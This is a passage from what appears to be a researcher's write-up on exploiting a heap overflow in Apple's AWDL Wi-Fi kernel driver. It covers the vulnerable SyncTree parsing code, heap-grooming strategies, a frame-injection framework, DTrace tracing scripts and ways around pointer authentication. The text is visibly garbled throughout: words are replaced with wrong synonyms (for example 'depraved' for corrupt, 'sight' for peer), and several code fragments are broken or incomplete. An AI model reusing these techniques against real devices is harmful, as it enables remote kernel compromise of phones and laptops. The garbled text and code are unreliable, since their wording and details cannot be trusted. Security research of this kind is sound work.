  u32 old_sync_tree_size=this->n_sync_tree_macs + 1;

  if (old_sync_tree_size>=10 ) {




  if (old_sync_tree_size==tlv->len/6 ) {


  } else {




  memcpy(this->sync_tree_macs, &tlv->val[0], 6 new_sync_tree_size);


sync_tree_macs is a 60-byte inline array within the IO80211AWDLPeer building, at offset +0x1648. That is sufficient room to retailer 10 MAC addresses. The IO80211AWDLPeer object is 0x16a8 bytes in dimension which means this may seemingly be distributed within the kalloc.6144 zone.

tlvCheckBounds will construct in strain a most price of 1024 for the dimensions of the SyncTree TLV. The TLV parser will spherical that price all the way down to the closest only a few of 6 and duplicate that assortment of bytes into the sync_tree_macs array at +0x1648. This will seemingly be our reminiscence corruption former: a linear heap buffer overflow in 6-byte chunks which is ready to depraved the whole fields within the IO80211AWDLPeer object earlier +0x16a8 after which only a few hundred bytes off of the tip of the kalloc.6144 zone chunk. We can with out problems cause IO80211AWDLPeer objects to be distributed subsequent to each varied by sending AWDL frames from a gargantuan assortment of varied spoofed provide MAC addresses in fast succession. This provides us 4 powerful primitives to evaluate about as we launch to go looking out a course to exploitation:

1) Corrupting fields after the sync_tree_macs array within the IO80211AWDLPeer object:

Overflowing into the fields on the tip of the sight object

2) Corrupting the lower fields of an IO80211AWDLPeer object groomed subsequent to this one:

Overflowing into the fields initially of a sight object subsequent to this one

3) Corrupting the lower bytes of yet another object type we will groom to take a look at a sight in kalloc.6144:

Overflowing right into a varied make of object subsequent to this sight in the identical zone

4) Meta-grooming the zone allocator to dwelling a sight object at a zone boundary so we will depraved the early bytes of an object from yet another zone:

Overflowing right into a varied make of object in a varied zone

We'll revisit these alternate methods in larger ingredient quickly.

At this degree we understand sufficient concerning the AWDL body format to launch making an try to get managed, arbitrary recordsdata going over the air and attain the body parsing entrypoint.

I attempted for a terribly very prolonged time to get the launch provide instructional OWL mission to invent and pace effectively, sadly with out success. In advise to launch making growth I determined to jot down my devour AWDL shopper from scratch. One different means will decide up been to jot down a MacOS kernel module to work alongside facet the current AWDL driver, which can presumably additionally merely decide up simplified some points of the exploit however moreover made others important tougher.

I began off the make the most of of an earlier Netgear WG111v2 WiFi adapter I've had for a complete lot of years which I knew could presumably presumably effectively enact visible present unit mode and body injection, albeit handiest on 2.4 Ghz channels. It makes use of an rtl8187 chipset. Since I essential to make the most of the linux drivers for these adapters I bought a Raspberry Pi 4B to hurry the exploit.

In the earlier I've earlier Scapy for crafting neighborhood packets from scratch. Scapy can craft and inject arbitrary 802.11 frames, however since we are going to want a complete lot of retain an eye fixed on over injection timing it is going to most definitely presumably presumably effectively now not be the superior instrument. Scapy makes use of libpcap to work alongside facet the {hardware} to inject uncooked frames so I took a decide about at libpcap. Some googling later I stumbled on this out of the extraordinary tutorial occasion which demonstrates precisely make the most of libpcap to inject a uncooked 802.11 body. Let dissect precisely what's required:

We decide up thought-about the development of the guidelines in 802.11 AWDL frames; there'll seemingly be an ieee80211 header initially, an Apple OUI, then the AWDL motion body header and so on. If our WiFi adaptor have been related to a WiFi neighborhood, this may presumably be sufficient recordsdata to transmit this type of body. The matter is that we're now not related to any neighborhood. This means we need to join some metadata to our body to advise the WiFi adaptor precisely the way in which it is going to most definitely presumably get this body on to the air. As an illustration, what channel and with what bandwidth and modulation contrivance must it make the most of to inject the body? Can decide as a lot as quiet it try re-transmits until an ACK is bought? What sign power must it make the most of to inject the body?

Radiotap is a outmoded for expressing precisely this make of body metadata, each when injecting frames and receiving them. It be a reasonably fiddly variable-sized header which you'll presumably presumably effectively prepend on the doorway of a body to be injected (or learn off the launch of a body which you decide up sniffed.)

Whether or now not the radiotap fields you specify are literally revered and former is counting on the driving force you're the make the most of of - a driver can even merely achieve to easily now not allow userspace to specify many points of injected frames. Right right here is an occasion radiotap header captured from a AWDL body the make the most of of the constructed-in MacOS packet sniffer on a MacBook Good. Wireshark has parsed the binary radiotap format for us:

Wireshark parses radiotap headers in pcaps and reveals them in a human-readable make

From this radiotap header we will peek a timestamp, the guidelines cost earlier for transmission, the channel (5.220 GHz which is channel 44) and the modulation contrivance (OFDM). We can moreover peek a hint of the power of the bought sign and a measure of the noise.

The tutorial gave the subsequent radiotap header:

static uint8_t u8aRadiotapHeader[]={

  0x00, 0x00, // model

  0x18, 0x00, // dimension

  0x0f, 0x80, 0x00, 0x00, // included fields

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //timestamp

  0x10, // add FCS

  0x00,// cost

  0x00, 0x00, 0x00, 0x00, // channel

  0x08, 0x00, // NOACK; get now not retry


With recordsdata of radiotap and a recurring header or not it's now not too subtle to get an AWDL body on to the air the make the most of of the pcap_inject interface and a wi-fi adaptor in visible present unit mode:

int pcap_inject(pcap_t *p, const void *buf, size_t dimension)

Clearly, this does not right away work and with some trial and mistake it seems the cost and channel fields are now not being revered. Injection with this adaptor seems to handiest work at 1Mbps, and the channel specified by the radiotap header could presumably presumably effectively now not be the one earlier for injection. That is now not such an self-discipline as we will quiet with out problems house the wifi adaptor channel manually:

iw dev wlan0 house channel 6

Injection at 1Mbps is exceptionally gradual however this is sufficient to get a check out AWDL body on to the air and we will peek it in Wireshark on yet another instrument in visible present unit mode. But nothing seems to be happening on a goal instrument. Time for some debugging!

The SEEMOO labs paper had already prompt ambiance some MacOS boot arguments to allow further verbose logging from the AWDL kernel driver. These log messages have been extraordinarily secure however typically you like further recordsdata than it's possible you'll presumably presumably effectively get from the logs.

For the preliminary negate PoC I confirmed make the most of the MacOS kernel debugger to change an AWDL body which was about to be transmitted. In normal, in my expertise, the MacOS kernel debugger is exceptionally unwieldy and unreliable. Whereas it's possible you'll presumably presumably effectively technically script it the make the most of of lldb's python bindings, I'd now not counsel it.

Apple does decide up one trick up their sleeve nonetheless; DTrace! Where the MacOS kernel debugger is dangerous for my fragment, dtrace is excellent. DTrace is a dynamic tracing framework within the origin developed by Solar Microsystems for Solaris. It be been ported to many platforms along with MacOS and ships by default. It be the magic within the encourage of devices trustworthy like Devices. DTrace lets you hook in little snippets of tracing code nearly wherever you like, each in userspace packages, and, amazingly, the kernel. Dtrace has its quirks. Hooks are written within the D language which does not decide up loops and the scoping of variables takes a transient time to get your head spherical, nevertheless it fully's the closing debugging and reversing instrument.

As an illustration, I earlier this dtrace script on MacOS to log at any time when a model glossy IO80211AWDLPeer object was distributed, printing or not it's heap deal with and MAC deal with:

self charmac; {



  printf("glossy AWDL sight: %02x:%02x:%02x:%02x:%02x:%02x allocation:%p", self->mac[0], self->mac[1], self->mac[2], self->mac[3], self->mac[4], self->mac[5], arg1); 


Right right here we're organising two hooks, one which runs at a objective entry degree and the fairly a complete lot of which runs true earlier than that very same objective returns. We can make the most of the self-> syntax to flow into variables between the entry degree and return degree and DTrace makes apparent that the entries and returns match up appropriately.

We want to make the most of the mangled C++ image in dtrace scripts; the make the most of of c++filt we will peek the demangled model:

$ c++filt -n _ZN15IO80211AWDLPeer21withAddressAndManagerEPKhP22IO80211AWDLPeerSupervisor

IO80211AWDLPeer::withAddressAndSupervisor(unsigned char const*, IO80211AWDLPeerSupervisor*)

The entry hook "saves" the pointer to the MAC deal with which is handed as a result of the primary argument; associating it with the current thread and stack body. The return hook then prints out that MAC deal with together with the return price of the objective (arg1 in a return hook is the objective's return price) which on this case is the deal with of the newly-dispensed IO80211AWDLPeer object.

With DTrace it's possible you'll presumably presumably effectively with out problems prototype custom-made heap logging devices. As an illustration when you are specializing in a specific allocation dimension and prefer to know what varied objects are ending up in there it's possible you'll presumably presumably effectively make the most of one factor identical to the subsequent DTrace script:

/some globals with values */





fbt:mach_kernel:kalloc_canblock:entry {




/self->dimension>=target_size_min ||



  printf("goal allocation %x=  %x", self->dimension, arg1);



The expression between the two /'s allows the hook to be conditionally executed. In this case limiting it to circumstances the place kalloc_canblock has been referred to as with a dimension between target_size_min and target_size_max. The constructed-in stack() objective will print a stack designate, supplying you with some perception into the allocations inside a specific dimension fluctuate. You could presumably presumably effectively presumably moreover make the most of ustack() to proceed that stack designate in userspace if this kernel allocation happened on account of a syscall for example.

DTrace can moreover safely dereference invalid addresses with out kernel panicking, making it very really useful for prototyping and debugging heap grooms. With some ingenuity or not it's moreover that you could be presumably presumably effectively trust to enact issues like dump linked-lists and visible present unit for the destruction of inform objects.

I'd really counsel spending a while discovering out DTrace; once you get your head spherical its esoteric programming mannequin yow will uncover it an immensely extremely implausible instrument.

Utilizing DTrace to log stack frames I used to be in a task to designate the course authentic AWDL frames took by the code and resolve how a methods my unfounded AWDL frames made it. Thru this job I discovered that there are, now not a lot lower than on MacOS, two AWDL parsers within the kernel: the basic one we now decide up already thought-about throughout the IO80211Household kext and a second, important further implausible one within the driver for the actual chipset being earlier. There have been three assessments on this further implausible parser which I used to be failing, each of which supposed my unfounded AWDL frames by no means made it to the IO80211Household code:

At the origin, the provide MAC deal with was being validated. MAC addresses really possess only a few fields: 

The first half of a MAC deal with is an OUI. The least beneficial little bit of the primary byte defines whether or not the deal with is multicast or unicast. The second bit defines whether or not the deal with is locally administered or globally unusual. 

Design earlier beneath CC BY-SA 2.5 By Inductiveload, modified/corrected by Kju - SVG drawing per PNG uploaded by Person:Vtraveller. This will seemingly be stumbled on on Wikipedia proper right here

The provide MAC deal with 01: 23: 45: 67: 89:ab from the libpcap occasion was an unfortunate possibility as a result of it has the multicast bit house. AWDL handiest wishes to deal with unicast addresses and rejects frames from multicast addresses. Choosing a model glossy MAC deal with to spoof with out that bit house solved this self-discipline.

The subsequent check was that the primary two TLVs within the variable-size payload fragment of the body must be a type 4 (sync parameters) then a type 6 (service parameters.)

At closing the channel amount within the sync parameters wanted to match the channel on which the body had really been bought.

With these three problems mounted I used to be not directly in a task to get arbitrary managed bytes to take a look on the actionFrameReport means on instrument and the subsequent stage of the mission could presumably presumably effectively launch.

We decide up thought-about that AWDL makes use of time division multiplexing to quickly swap between the channels earlier for AWDL (typically 6 and 44) and the channel earlier by the entry degree the instrument is related to. By parsing the AWDL synchronization parameters TLV within the PSF and MIF frames despatched by AWDL buddies it's possible you'll presumably presumably effectively calculate when they are going to seemingly be listening sooner or later. The OWL mission makes use of the linux libev library to look at to handiest transmit on the efficient second when varied buddies will seemingly be listening.

There are only a few problems with this vogue for our capabilities:

At the origin, and really importantly, this makes specializing in subtle. AWDL motion frames are (typically) despatched to a broadcast vacation spot MAC deal with (ff:ff:ff:ff:ff:ff.) It be a mesh neighborhood and these frames are imagined to be earlier by the whole buddies for developing up the mesh.

Whereas exploiting each listening AWDL instrument in proximity on the identical time can be a enthralling be taught self-discipline and invent for a chilly demo video, it moreover items many challenges a methods open air the preliminary scope. I really essential a way to invent advantageous that handiest units I managed would job the AWDL frames I despatched.

With some experimentation it turned out that each AWDL frames can moreover be despatched to unicast addresses and units would quiet parse them. This items yet another self-discipline as a result of the AWDL digital interface's MAC deal with is randomly generated at any time when the interface is activated. For discovering out on MacOS it suffices to hurry:

ifconfig awdl0

to go looking out out the current MAC deal with. For iOS or not it's just a little further alive to; my chosen contrivance has been to odor on the AWDL social channels and correlate sign power with actions of the instrument to go looking out out its current AWDL MAC.

There's one varied beneficial distinction when you ship an AWDL motion body to a unicast deal with: if the instrument is at the moment listening on that channel and receives the body, this may ship an ACK. This seems to be terribly secure. We are succesful of end up developing some slightly superior primitives the make the most of of AWDL motion frames, abusing the protocol to invent an odd machine. Being in a task to advise whether or not a goal instrument really bought a body or now not means we will deal with AWDL frames further like a dependable transport medium. For the identical earlier utilization of AWDL that is now not beneficial; however our utilization of AWDL is now not going to be recurring.

This ACK-sniffing mannequin could presumably be the developing block for our AWDL body injection API.

Upright for the reason that ACKs are coming over the air now doesn't mean we really peek them. Even supposing the WiFi adaptor we are the make the most of of for injection must be technically really useful of receiving ACKs (as they're a basic protocol developing block), being in a task to peek them on the visible present unit interface is now not assured.

A screenshot of wireshark exhibiting a spoofed AWDL body adopted by an Acknowledgement from the goal instrument.

The libpcap interface in all equity generic and would not decide up any method to degree to {that a} body was ACKed or now not. It could presumably presumably presumably presumably effectively now not even be the case that the kernel driver is aware whether or not an ACK was bought. I did now not really need to delve into the injection interface kernel drivers or firmware as that was liable to be a basic funding in itself so I attempted some varied ideas.

ACK frames in 802.11g and 802.11a are timing basically basically based mostly. There's a transient window after each transmitted body when the receiver can ACK in the event that they bought the body. It be for that cause that ACK frames get now not possess a provide MAC deal with. It be now not beneficial as a result of the ACK is already completely correlated with a provide instrument on account of the timing.

If we moreover hear on our injection interface in visible present unit mode we will additionally merely be in a task to obtain the ACK frames ourself and correlate them. As talked about, now not all chipsets and drivers really provide the full administration frames.

For my early prototypes, I managed to go looking out a pair in my field of WiFi adaptors the place one would effectively inject on 2.4ghz channels at 1Mbps and the fairly a complete lot of would effectively sniff ACKs on that channel at 1Mbps.

1Mbps is exceptionally gradual; a considerably gargantuan AWDL body ends up being on the air for 10ms or further at that pace, so in case your availability window is handiest only a few ms you're now not going to get many frames per second. Soundless, this was sufficient to get going.

The injection framework I constructed for the exploit makes use of two threads, one for body injection and one for ACK sniffing. Frames are injected the make the most of of the try_inject objective, which extracts the spoofed provide MAC deal with and indicators to the second sniffing thread to launch purchasing for an ACK body being despatched to that MAC.

Utilizing a pthread situation variable, the injecting thread can then rely on a diminutive period of time throughout which the sniffing thread can even merely or can even merely now not peek the ACK. If the sniffing thread does peek the ACK it is going to most definitely presumably negate this truth then sign the situation variable. The injection thread will cease prepared and will presumably presumably effectively check whether or not the ACK was bought.

Snatch a decide about at try_inject_internal within the exploit for the mutex and situation variable setup code for this.

There's a wrapper spherical try_inject referred to as inject which many occasions calls try_inject until it succeeds. These two strategies allow us to enact the whole timing serene and insensitive body injection we would like.

These two strategies eradicate a variable assortment of pkt_buf_t pointers; a really straightforward custom-made variable-sized buffer wrapper object. The beneficiant factor about this vogue is that it allows us to quickly prototype glossy AWDL body buildings with out having to jot down boilerplate code. As an illustration, that is the whole code required to inject a recurring AWDL body and re-transmit it until the goal receives it:


       WIFI(dst, src),





Investing just a little little bit of time developing this API saved a complete lot of time within the prolonged pace and made it very straightforward to experiment with glossy ideas.

With an injection framework not directly up and dealing we will launch to evaluate about really exploit this vulnerability!

The Apple A12 SOC stumbled on within the iPhone Xr/Xs contained the primary commercially-on hand ARM CPU implementing the ARM-8.3 non-compulsory Pointer Authentication attribute. This was launched in September 2018. This publish from Venture Zero researcher Brandon Azad covers PAC and its implementation by Apple in mountainous ingredient, as does this presentation from the 2019 LLVM builders assembly.

Its basic make the most of is as a make of Support watch over Chase with the circulation Integrity. In realizing all objective pointers degree to in reminiscence must possess a Pointer Authentication Code of their higher bits which is ready to be verified after the pointer is loaded from reminiscence however earlier than or not it's earlier to change retain an eye fixed on float.

In nearly all circumstances this PAC instrumentation will seemingly be added by the compiler. There's a terribly mountainous epic from the clang crew which works into mountainous ingredient concerning the implementation of PAC from a compiler degree of seek for and the safety tradeoffs alive to. It has a colourful fragment on the chance mannequin of PAC which frankly and in actuality discusses the circumstances the place PAC can even merely assist and the circumstances the place it is going to most definitely presumably presumably effectively now not. Documentation like this must ship with each mitigation.

Having a publicly documented chance mannequin helps every individual understand the intentions within the encourage of invent selections and the tradeoffs which have been beneficial. It helps invent a recurring vocabulary and helps to traipse discussions about mitigations a methods from a spotlight on security by obscurity in opposition to a qualitative appraisal of their strengths and weaknesses.

Concretely, the primary hurdle PAC will throw up is that this may invent it tougher to forge vtable pointers.

All OSObject-derived objects decide up digital strategies. IO80211AWDLPeer, like nearly all IOKit C++ courses derives from OSObject so the primary self-discipline is a vtable pointer. As we noticed within the heap-grooming sketches earlier, by spraying IO80211AWDLPeer objects then triggering the heap overflow we will with out problems construct retain an eye fixed on of a vtable pointer. This method was earlier in Mateusz Jurczyk's Samsung MMS distant exploit and Natalie Silvanovich's distant WebRTC exploit this yr.

Kernel digital calls decide up lengthy gone from having a decide about like this on A11 and beneath:

LDR   X8, [X20]      ; load vtable pointer

LDR   X8, [X8,#0x38] ; load objective pointer from vtable

MOV   X0, X20

BLR   X8             ; title digital objective

to this on A12 and above:

LDR   X8, [X20]           ; load vtable pointer

; authenticate vtable pointer the make the most of of A-household recordsdata key and nil context

; if authentication passes, add 0x38 to vtable pointer, load price

; at that deal with into X9 and retailer X8+0x38 encourage to X8 with out a PAC

LDRAA X9, [X8,#0x38]!

; overwrite the higher 16 bits of X8 with the fastened 0xFFFC

; it's a hash of the mangled image; fastened at each callsite

MOVK  X8, #0xFFFC,LSL#48

MOV   X0, X20

; authenticate digital objective pointer with A-household instruction key

; and context price the place the higher 16 bits are a hash of the

; digital objective prototype and the lower 48 bits are the runtime

; deal with of the digital objective pointer within the vtable


Diagrammatic seek for of a C++ digital title in ARM64e exhibiting the keys and discriminators earlier

What does that counsel in discover?

If we get now not decide up a signing gadget, then we will now not trivially degree a vtable pointer to an arbitrary deal with. Even after we could presumably presumably effectively, we might want a recordsdata and instruction family signing gadget with retain an eye fixed on over the discriminator.

We can swap a vtable pointer with any varied A-household 0-context recordsdata key signed pointer, nonetheless the digital objective pointer itself is signed with a context price consisting of the deal with of the vtable entry and a hash of the digital objective prototype. This means we will now not swap digital objective pointers from one vtable into yet another one (or further seemingly right into a unfounded vtable to which we're in a task to get an A-household recordsdata key signed pointer.)

We can swap one vtable pointer for yet another one to cause a type confusion, nonetheless each digital objective title made by that vtable pointer would must be calling a objective with an similar prototype hash. That is now not so wonderful; a basic developing block of object-oriented programming in C++ is to call capabilities with matching prototypes however varied behaviour by method of a vtable. Alternatively you'll want to enact some pondering to come back encourage up with a generic defeat the make the most of of this vogue.

A really beneficial recount is that the vtable pointers themselves get now not decide up any deal with fluctuate; they're signed with a 0-context. This implies that if we will advise a signed vtable pointer for an object of type A at deal with X, we will overwrite the vtable pointer for yet another object of type A at a varied deal with Y.

This will appear solely trivial and tedious however be aware: we handiest decide up a linear heap buffer overflow. If the vtable pointer had deal with fluctuate then for us to be succesful to securely depraved fields after the vtable in an adjoining object we need to first advise the suitable vtable pointer following the article which we will overflow out of. As a alternative we will advise any vtable pointer for this type and this may seemingly be gracious.

The clang invent doc explains why that is:

It is moreover recognized that some code in discover copies objects containing v-tables with memcpy, and whereas that is now not licensed formally, it's one factor that may even merely be invasive to eradicate.

Valid on the tip of this epic they moreover recount "attackers can even even be devious." On A12 and above we will now not trivially degree the vtable pointer to a unfounded vtable and construct arbitrary PC retain an eye fixed on considerably with out problems. Guess we are going to want to get devious 🙂

In the origin I continued the make the most of of the iOS 12 beta 1 kernelcache when searching for exploitation primitives and performing the preliminary reversing to larger understand the construction of the IO80211AWDLPeer object. This turned out to be a basic mistake and only a few weeks have been spent following unproductive leads:

In the iOS 12 beta 1 kernelcache the fields following the sync_tree_macs buffer regarded tedious, now not a lot lower than from the angle of being in a task to invent a stronger former from the linear overflow. That is why my preliminary ideas checked out corrupting the fields initially of an IO80211AWDLPeer object which I'll presumably presumably effectively dwelling subsequently in reminiscence, possibility 2 which we noticed earlier:

Spoofing many provide MAC addresses makes allocating neighbouring IO80211AWDLPeer objects considerably straightforward. The synctree buffer overflow then allows corrupting the lower fields of an IO80211AWDLPeer furthermore the higher fields

Practically indubitably we are going to want some make of reminiscence disclosure former to land this exploit. My first ideas for developing a reminiscence disclosure former alive to corrupting the linked-list of buddies. The pointers building sustaining the buddies is indubitably important further superior than a linked listing, or not it's further like a priority queue with some fascinating behaviours when the queue is modified and a specific lack of fetch unlinking and the like. I'd demand iOS to launch slowly migrating to the make the most of of files-PAC for linked-list integrity, however for now that is now not the case. If reality be instructed these linked lists get now not even decide up mainly probably the most recurring fetch-unlinking integrity assessments but.

The launch of an IO80211AWDLPeer object seems like this:

All IOKit objects inheriting from OSObject decide up a vtable and a reference rely as their first two fields. In an IO80211AWDLPeer these are adopted by a hash_bucket identifier, a peer_list flink and blink, the sight's MAC deal with and the sight's peer_manager pointer.

My first ideas revolved spherical making an try to partially depraved a sight linked-list pointer. In hindsight, there's an apparent cause why this does not work (which I'll concentrate on in solely just a little), however let's dwell fascinating and proceed on for now...

Taking a decide about by the places the place the linked listing of buddies perceived to be earlier it regarded like per probability the IO80211AWDLPeerSupervisor::replacePeerListBloomFilter means can even merely be fascinating from the angle of creating an try to get recordsdata leaked encourage to us. Let's eradicate a decide about at it:


  int n_peers=this->peers_list.n_elems;

  if (!this->peer_bloom_filters_enabled) {

    return 0;


  bzero(this->bloom_filter_buf, 0xA00uLL);



  int n_peers_in_filter=0;

  for (;


       n_peers_in_filter++) {




  bloom_filter_create(10*(n_peers_in_filter+7) & 0xff8,





  if (n_peers_in_filter){

    this->updateBroadcastMI(9, 1, 0);

  return 0;


From the IO80211AWDLPeerSupervisor or not it's studying the sight listing head pointer furthermore a rely of the assortment of entries within the sight listing. For each entry within the listing or not it's studying the MAC deal with self-discipline into an array then builds a bloom filter from that buffer. 

The fascinating fragment proper right here is that the listing traversal is terminated the make the most of of a rely of elements which decide up been traversed moderately than by purchasing for a termination pointer price on the tip of the listing (eg a NULL or a pointer encourage to the top ingredient.) This implies that probably if we could presumably presumably effectively depraved the linked-list pointer of the second-to-closing sight to be processed we could presumably presumably effectively degree it to a unfounded sight and get recordsdata at a managed deal with added into the bloom filter. updateBroadcastMI seems like this may add that bloom filter recordsdata to the Master Indication body within the bloom filter TLV, which means we could presumably presumably effectively get a bloom filter containing recordsdata learn from a managed deal with despatched encourage to us. Searching on the suitable format of the bloom filter it is going to most definitely presumably presumably effectively probably be that you could be presumably presumably effectively trust to then get higher now not a lot lower than some bits of distant reminiscence.

It be beneficial to emphasize at this degree that on account of the dearth of KASLR leak and moreover the dearth of PAC signing gadget or vtable disclosure, in advise to depraved the linked-list pointer of an adjoining sight object we get now not decide up any possibility however to depraved its vtable pointer with an invalid price. This implies that if any digital strategies have been referred to as on this object, it is going to most definitely presumably presumably effectively nearly indubitably cause a kernel scare.

The first fragment of creating an try to get this to work was to find out invent a succesful heap groom such that we could presumably presumably effectively overflow from a sight into the second-to-closing sight within the listing which might be processed

Both the linked-list advise and the digital reminiscence advise must be groomed to allow a focused partial overflow of the closing linked-list pointer to be traversed. In this construction we need to overflow from 2 into 6 to depraved the closing pointer from 6 to 7.

There could presumably be a mitigation from only a few years previously in play proper right here which we are going to want to work spherical; particularly the randomization of the preliminary zone freelists which provides a microscopic ingredient of randomness to the advise of the allocations it's possible you'll presumably presumably effectively get for consecutive calls to kalloc for a similar dimension. The randomness in all equity minimal nonetheless so the trick proper right here is to be succesful to pad your allocations with "fetch" objects such that even though it's possible you'll presumably presumably effectively now not assure that you simply at all times overflow into the goal object, it's possible you'll presumably presumably effectively principally assure that you'll overflow into that object or a fetch object.

We want two primitives: At the origin, we need to look after the semantics of the listing. Secondly, we would like some fetch objects.

With trustworthy just a little of reversing we will resolve that the code which provides buddies to the listing would not merely add them to the launch. Peers which can be first thought-about on a 2.4GHz channel (6) enact get added this vogue, however buddies first thought-about on a 5GHz channel (44) are inserted per their RSSI (bought sign power indication - a unitless price approximating sign power.) Stronger indicators counsel the sight is most most undoubtedly bodily nearer to the instrument and must moreover be nearer to the launch of the listing. This provides some efficient primitives for manipulating the listing and ensuring we all know the place buddies will end up.

The second requirement is to be succesful to allocate arbitrary, fetch objects. Our obedient heap grooming/shaping objects would decide up the subsequent primitives:

1) arbitrary dimension

2) limitless allocation amount

3) allocation has no facet outcomes

4) managed contents

5) contents can even even be safely corrupted

6) can even even be free'd at an arbitrary, managed degree, and not using a facet outcomes

Clearly, we're solely diminutive to issues we will strain to be distributed remotely by method of AWDL so the whole strategies from native kernel exploitation get now not work. As an illustration, I and others decide up earlier assorted types of mach messages, unix pipe buffers, OSDictionaries, IOSurfaces and additional to invent these primitives. None of those are going to work in the slightest degree. AWDL is sufficiently subtle nonetheless that after some reversing I stumbled on a reasonably beneficiant candidate object.

That is my reverse-engineered definition of the businesses and merchandise response descriptor TLV (type 2):

{ u8  type

  u16 len

  u16 key_len

  u8  key_val[key_len]

  u16 value_total_size

  u16 fragment_offset

  u8  fragment[len-key_len-6] }

It has two variable-sized fields: key_val and fragment. The key_length self-discipline defines the dimensions of the key_val buffer, and the dimensions of fragment is the closing house left on the tip of the TLV. The parser for this TLV makes a kalloc allocation of val_length, an arbitrary u16. It then memcpy's from fragment into that kalloc buffer at offset frag_offset:

The service_response contrivance provides us a extremely implausible heap grooming former

I bear that is purported to be toughen for receiving out-of-advise fragments of service request responses. It provides us a terribly extremely implausible former for heap grooming. We can achieve an arbitrary allocation dimension as a lot as 64okay and write an arbitrary quantity of managed recordsdata to an arbitrary offset in that allocation and we handiest want to offer the offset and recount materials bytes.

This moreover provides us a make of amplification former. We can bundle slightly these make of TLVs in a single body allowing us to invent megabytes of managed heap allocations with minimal facet lastly leads to true one AWDL body.

This SRD contrivance indubitably nearly solely meets standards 1-5 outlined above. It be nearly most interesting apart from one beneficial degree; how will we free these allocations?

Thru static reversing I could not achieve how these allocations can be free'd, so I wrote a dtrace script to assist me achieve when these proper kalloc allocations have been free'd. Working this dtrace script then working a check out AWDL shopper sending SRDs I noticed the allocation however by no means the free. Even disabling the AWDL interface, which must orderly up a great deal of the famed AWDL thunder, would not cause the allocation to be freed.

That is presumably a pc virus in my dtrace script, however there's yet another realizing: I wrote yet another check out shopper which distributed an enormous assortment of SRDs. This distributed a considerable quantity of reminiscence, sufficient to be thought-about the make the most of of zprint. And certainly, working that check out shopper many occasions then working zprint it's possible you'll presumably presumably effectively leer the inuse rely of the goal zone getting larger and higher. Disabling AWDL would not assist, neither does prepared in a single day. This seems like a reasonably trivial reminiscence leak.

Afterward we are going to decide concerning the rationale of this reminiscence leak however for now we now decide up a heap allocation former which meets standards 1-5, that is probably beneficiant sufficient!

I managed to invent a heap groom which is able to get the linked-list and heap objects house up such that I'm succesful of overflow into the second-to-closing sight object to be processed:

By surrounding sight objects with a sufficient assortment of fetch objects we will invent advantageous that the linear corruption each hits the efficient sight object or a fetch object

The trick is to invent advantageous that the ratio of fetch objects to buddies is sufficiently excessive that you could be presumably presumably effectively additionally even be (moderately) apparent that the two goal buddies will handiest be subsequent to each varied or subsequent to fetch objects (they'd presumably presumably now not be subsequent to varied buddies within the listing.) Even when you could presumably presumably effectively additionally merely now not be in a task to strain the two buddies to be within the true advise as confirmed within the contrivance, it's possible you'll presumably presumably effectively now not a lot lower than invent the corruption fetch if they're now not, then try once more.

When writing the code to invent the SyncTree TLV I noticed I'd made an enormous oversight...

My preliminary realizing had been to handiest partially overwrite a sound linked-list pointer ingredient:

If we could presumably presumably effectively partially overflow the peer_list_flink pointer we could presumably presumably effectively probably traipse it to degree it someplace close by. In this illustration by transferring it down by Eight bytes we could presumably presumably effectively probably get some bytes of a peer_list_blink added to the sight MACs bloom filter. A partial overwrite would not straight give a relative add or subtract former, however with some heap grooming overwriting the lower 2 bytes can yield one factor comparable

But when you positively decide about further fastidiously on the reminiscence construction taking into story the obstacles of the corruption former:

Computing the relative offsets between two IO80211AWDLPeers subsequent to each varied in reminiscence it seems that a really useful partial overwrite of peer_list_flink is now not that you could be presumably presumably effectively trust as a result of it lies on a 6-byte boundary from the lower sight's sync_tree_macs array

That is now not a really useful make of partial overwrite and it took a complete lot of effort to invent this heap groom work handiest to look after in hindsight this apparent oversight.

Making an try to salvage one factor from all this work I attempted as an completely different to true solely overwrite the linked-list pointer. We'd quiet want some varied vulnerability or formulation to go looking out out what we must overwrite with nevertheless it fully would now not a lot lower than be some growth to peek a learn or write from a managed deal with.

Alas, whereas I'm in a task to enact the overflow, it seems that the linked-list of buddies is being repeatedly traversed within the background even when there is no AWDL on-line web page on-line visitors and digital strategies are being referred to as on each sight. This will even merely invent issues enormously tougher with out first colourful a vtable pointer.

One different possibility can be to house off the SyncTree overflow twice by way of the parsing of a single body. Buy the code in actionFrameReport



      case 0x14:

        if (tlv_cnt[0x14]>=2)

          goto ERR;



I explored places the place a TLV would house off a sight listing traversal. The premise would then be to sandwich a managed lookup between two SyncTree TLVs, the primary to depraved the listing and the second to a way or the alternative invent that fetch. There have been some code paths like this, the place we could presumably presumably effectively cause a managed sight to be regarded up within the sight listing. There have been even some places the place we could presumably presumably effectively probably get a varied reminiscence corruption former from this however they regarded even trickier to make mainly probably the most of. And even then you definitely positively'd now not be in a task to reset the sight listing pointer with the second overflow anyway.

To this degree none of my ideas for a learn panned out; messing with the linked listing with out a as a result of it could presumably be PAC'd vtable pointer true would not appear possible. At this degree I'd probably be conscious purchasing for a second vulnerability. As an illustration, in Natalie's latest WebRTC exploit she was in a task to achieve a second vulnerability to defeat ASLR.

There are quiet some varied ideas left launch however they appear subtle to get beneficiant:

The completely different basic make of object within the kalloc.6144 zone are ipc_kmsg's for some IOKit strategies. These are in-flight mach messages and it'll most definitely presumably additionally merely be that you could be presumably presumably effectively trust to depraved them such that we could presumably presumably effectively inject arbitrary mach messages into userspace. This realizing seems principally to fabricate glossy challenges moderately than resolve any launch ones although.

If we get now not goal the identical zone then we could presumably presumably effectively try a unsuitable-zone assault, however even then we're slightly diminutive by the primitives geared up by AWDL. There true are now not that many fascinating objects we will allocate and manipulate.

By this degree I've invested a complete lot of time into this mission and am now not fascinating to current up. I've moreover been listening to very faint whispers that I'd want by chance stumbled upon an assault floor which is being actively exploited. Time to look at one factor further...

Up until this degree I'd been doing most of my reversing the make the most of of the partially symbolized iOS 12 beta 1 kernelcache. I had executed a considerable quantity of reversing engineering to invent up a reasonably priced realizing of the whole fields within the IO80211AWDLPeer object which I'll presumably presumably effectively depraved and it wasn't having a decide about promising. But this vulnerability was handiest going to get patched in iOS 13.3.1.

Can they've added glossy fields in iOS 13? It regarded now not seemingly however for advantageous price a decide about.

Right right here is my reverse-engineered building definition for IO80211AWDLPeer in iOS 13.3/MacOS 10.15.2:

struct __attribute__((packed)) __attribute__((aligned(4))) IO80211AWDLPeer {

/+0x0000 */  void *vtable;

